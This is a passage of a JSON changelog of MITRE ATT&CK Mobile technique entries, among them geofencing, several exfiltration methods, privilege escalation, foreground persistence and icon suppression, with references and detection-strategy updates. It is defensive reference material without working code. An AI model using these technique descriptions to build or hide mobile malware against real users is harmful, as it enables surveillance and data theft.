permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include \"Allow only while using the app\", which will effectively prohibit background location collection. \n\nSimilarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call\u202f`requestWhenInUseAuthorization()`\u202for\u202f`requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device\u2019s location, including one-time use and only when the application is running in the foreground. \n\n[Geofencing](https://attack.mitre.org/techniques/T1627/001)\u202fcan be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific input prompts and/or advertisements.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1627/001", + "external_id": "T1627.001" + }, + { + "source_name": "Lookout eSurv", + "description": "A. Bauer. (2019, April 8). Lookout discovers phishing sites distributing new iOS and Android surveillanceware. Retrieved September 11, 2020.", + "url": "https://blog.lookout.com/esurv-research" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.935000+00:00\", \"old_value\": \"2025-04-16 21:21:58.143000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users can review which applications have location permissions in the operating system\\u2019s settings menu. On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background. Application vetting services can detect unnecessary and potentially abused location permissions or API calls.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)", + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Notifications)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0648: Detection of Geofencing" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3e091a89-a493-4a6c-8e88-d57be19bb98d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-06 13:19:33.785000+00:00", + "modified": "2025-10-24 17:48:41.491000+00:00", + "name": "Exfiltration Over Alternative Protocol", + "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may opt to also encrypt and/or obfuscate these alternate channels. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1639", + "external_id": "T1639" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html", + "external_id": "APP-30" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.491000+00:00\", \"old_value\": \"2025-04-16 21:21:48.656000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1639)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0698: Detection of Exfiltration Over Alternative Protocol" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--37047267-3e56-453c-833e-d92b68118120", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-06 13:22:57.683000+00:00", + "modified": "2025-10-24 17:48:38.977000+00:00", + "name": "Exfiltration Over Unencrypted Non-C2 Protocol", + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). Adversaries may employ custom or publicly available encoding/compression algorithms (such as base64) or embed data within protocol headers and fields.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1639/001", + "external_id": "T1639.001" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html", + "external_id": "APP-30" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.977000+00:00\", \"old_value\": \"2025-04-16 21:21:48.130000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"[Exfiltration Over Unencrypted Non-C2 Protocol](https://attack.mitre.org/techniques/T1639/001)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0701: Detection of Exfiltration Over Unencrypted Non-C2 Protocol" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--32063d7f-0a39-440d-a4a3-2694488f96cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 15:43:45.913000+00:00", + "modified": "2025-10-24 17:48:36.720000+00:00", + "name": "Exfiltration Over C2 Channel", + "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1646", + "external_id": "T1646" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html", + "external_id": "APP-29" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.720000+00:00\", \"old_value\": \"2025-04-16 21:21:47.650000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"[Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1646) can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0615: Detection of Exfiltration Over C2 Channel" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:29.405000+00:00", + "modified": "2025-10-24 17:48:38.088000+00:00", + "name": "Exploitation for Privilege Escalation", + "description": "Adversaries may exploit software vulnerabilities in order to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in an application, service, within the operating system software, or kernel itself to execute adversary-controlled code. Security constructions, such as permission levels, will often hinder access to information and use of certain techniques. Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. \n\nWhen initially gaining access to a device, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and applications running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user- level permission to root permissions depending on the component that is vulnerable. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1404", + "external_id": "T1404" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html", + "external_id": "APP-26" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.088000+00:00\", \"old_value\": \"2025-04-16 21:21:47.809000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken. Application vetting services could potentially determine if an application contains code designed to exploit vulnerabilities.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1002: Attestation", + "M1010: Deploy Compromised Device Detection Method" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0665: Detection of Exploitation for Privilege Escalation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--22379609-a99f-4a01-bd7e-70f3e105859d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:13.259000+00:00", + "modified": "2025-10-24 17:48:31.144000+00:00", + "name": "Exploitation of Remote Services", + "description": "Adversaries may exploit remote services of enterprise servers, workstations, or other resources to gain unauthorized access to internal systems once inside of a network. Adversaries may exploit remote services by taking advantage of a mobile device\u2019s access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. \n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1423) or other Discovery methods. These look for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nDepending on the permissions level of the vulnerable remote service, an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1404) as a result of lateral movement exploitation as well. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1428", + "external_id": "T1428" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html", + "external_id": "APP-32" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.144000+00:00\", \"old_value\": \"2025-04-16 21:21:46.157000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting software exploitation initiated by a mobile device may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash.\\n\\nNetwork traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. \\n\\nApplication vetting may be able to identify applications that perform Discovery or utilize existing connectivity to remotely access hosts within an internal enterprise network. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Detecting software exploitation initiated by a mobile device may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash.\\n-\\n-Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. \\n-\\n-Application vetting may be able to identify applications that perform Discovery or utilize existing connectivity to remotely access hosts within an internal enterprise network. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0041: Application Vetting (Network Communication)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0663: Detection of Exploitation of Remote Services" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:21.965000+00:00", + "modified": "2025-10-24 17:49:24.899000+00:00", + "name": "File and Directory Discovery", + "description": "Adversaries may enumerate files and directories or search in specific device locations for desired information within a filesystem. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) during automated discovery to shape follow-on behaviors, including deciding if the adversary should fully infect the target and/or attempt specific actions. \n\nOn Android, Linux file permissions and SELinux policies typically stringently restrict what can be accessed by apps without taking advantage of a privilege escalation exploit. The contents of the external storage directory are generally visible, which could present concerns if sensitive data is inappropriately stored there. iOS's security architecture generally restricts the ability to perform any type of [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) without use of escalated privileges. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1420", + "external_id": "T1420" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-41.html", + "external_id": "STA-41" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.899000+00:00\", \"old_value\": \"2025-04-16 21:21:55.729000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Android, users are presented with a permissions popup when an application requests access to external device storage.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0042: User Interface (Permissions Request)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0682: Detection of File and Directory Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--648f8051-1a35-46d3-b1d8-3a3f5cf2cc8e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-19 17:32:20.373000+00:00", + "modified": "2025-10-24 17:48:52.197000+00:00", + "name": "Foreground Persistence", + "description": "Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android\u2019s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices)\n\nMalicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device\u2019s sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019)\n\nMalicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1541", + "external_id": "T1541" + }, + { + "source_name": "Android-SensorsOverview", + "description": "Google. (n.d.). Sensors Overview. Retrieved November 19, 2019.", + "url": "https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices" + }, + { + "source_name": "Android-ForegroundServices", + "description": "Google. (n.d.). Services overview. Retrieved November 19, 2019.", + "url": "https://developer.android.com/guide/components/services.html#Foreground" + }, + { + "source_name": "TrendMicro-Yellow Camera", + "description": "Song Wang. (2019, October 18). Fake Photo Beautification Apps on Google Play can Read SMS Verification Code to Trigger Wireless Application Protocol (WAP)/Carrier Billing. Retrieved November 19, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/fake-photo-beautification-apps-on-google-play-can-read-sms-verification-code-to-trigger-wireless-application-protocol-wap-carrier-billing/" + }, + { + "source_name": "BlackHat Sutter Android Foreground 2019", + "description": "Thomas Sutter. (2019, December). Simple Spyware Androids Invisible Foreground Services and How to (Ab)use Them. Retrieved December 26, 2019.", + "url": "https://i.blackhat.com/eu-19/Thursday/eu-19-Sutter-Simple-Spyware-Androids-Invisible-Foreground-Services-And-How-To-Abuse-Them.pdf" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html", + "external_id": "APP-19" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Lorin Wu, Trend Micro" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.197000+00:00\", \"old_value\": \"2025-04-16 21:21:49.743000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong. Applications could be vetted for their use of the `startForeground()` API, and could be further scrutinized if usage is found.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)", + "DS0042: User Interface (System Notifications)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0637: Detection of Foreground Persistence" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a8e971b8-8dc7-4514-8249-ae95427ec467", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-06 13:55:14.390000+00:00", + "modified": "2025-10-24 17:49:12.043000+00:00", + "name": "Generate Traffic from Victim", + "description": "Adversaries may generate outbound traffic from devices. This is typically performed to manipulate external outcomes, such as to achieve carrier billing fraud or to manipulate app store rankings or ratings. Outbound traffic is typically generated as SMS messages or general web traffic, but may take other forms as well.\n\nIf done via SMS messages, Android apps must hold the `SEND_SMS` permission. Additionally, sending an SMS message requires user consent if the recipient is a premium number. Applications cannot send SMS messages on iOS", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1643", + "external_id": "T1643" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html", + "external_id": "APP-16" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:12.043000+00:00\", \"old_value\": \"2025-04-16 21:21:53.113000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Android, users can review which applications can use premium SMS features in the \\u201cSpecial access\\u201d page within application settings. Application vetting services can detect when applications request the `SEND_SMS` permission, which should be infrequently used.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0608: Detection of Generate Traffic from Victim" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fc53309d-ebd5-4573-9242-57024ebdad4f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 20:00:12.654000+00:00", + "modified": "2025-10-24 17:49:39.161000+00:00", + "name": "Hide Artifacts", + "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Mobile operating systems have features and developer APIs to hide various artifacts, such as an application\u2019s launcher icon. These APIs have legitimate usages, such as hiding an icon to avoid application drawer clutter when an application does not have a usable interface. Adversaries may abuse these features and APIs to hide artifacts from the user to evade detection.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1628", + "external_id": "T1628" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.161000+00:00\", \"old_value\": \"2025-04-16 21:21:59.084000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The user can examine the list of all installed applications in the device settings. Application vetting services could potentially detect the usage of APIs intended for artifact hiding.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0640: Detection of Hide Artifacts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 20:06:22.194000+00:00", + "modified": "2025-10-24 17:49:35.410000+00:00", + "name": "Suppress Application Icon", + "description": "A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions. \n\nThis behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker) \n\nBeginning in Android 10, changes were introduced to inhibit malicious applications\u2019 ability to hide their icon. If an app is a system app, requests no permissions, or does not have a launcher activity, the application\u2019s icon will be fully hidden. Further, if the device is fully managed or the application is in a work profile, the icon will be fully hidden. Otherwise, a synthesized activity is shown, which is a launcher icon that represents the app\u2019s details page in the system settings. If the user clicks the synthesized activity in the launcher, they are taken to the application\u2019s details page in the system settings.(Citation: Android 10 Limitations to Hiding App Icons)(Citation: LauncherApps getActivityList)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1628/001", + "external_id": "T1628.001" + }, + { + "source_name": "Android 10 Limitations to Hiding App Icons", + "description": "Android. (n.d.). Android 10 Release Notes: Limitations to hiding app icons. Retrieved March 30, 2022.", + "url": "https://source.android.com/setup/start/android-10-release#limitations_to_hiding_app_icons" + }, + { + "source_name": "LauncherApps getActivityList", + "description": "Android. (n.d.). LauncherApps: getActivityList. Retrieved March 30, 2022.", + "url": "https://developer.android.com/reference/kotlin/android/content/pm/LauncherApps#getactivitylist" + }, + { + "source_name": "sunny-stolen-credentials", + "description": "Luk\u00e1\u0161 \u0160tefanko. (2017, February 22). Sunny with a chance of stolen credentials: Malicious weather app found on Google Play. Retrieved July 11, 2019.", + "url": "https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/" + }, + { + "source_name": "android-trojan-steals-paypal-2fa", + "description": "Luk\u00e1\u0161 \u0160tefanko. (2018, December 11). Android Trojan steals money 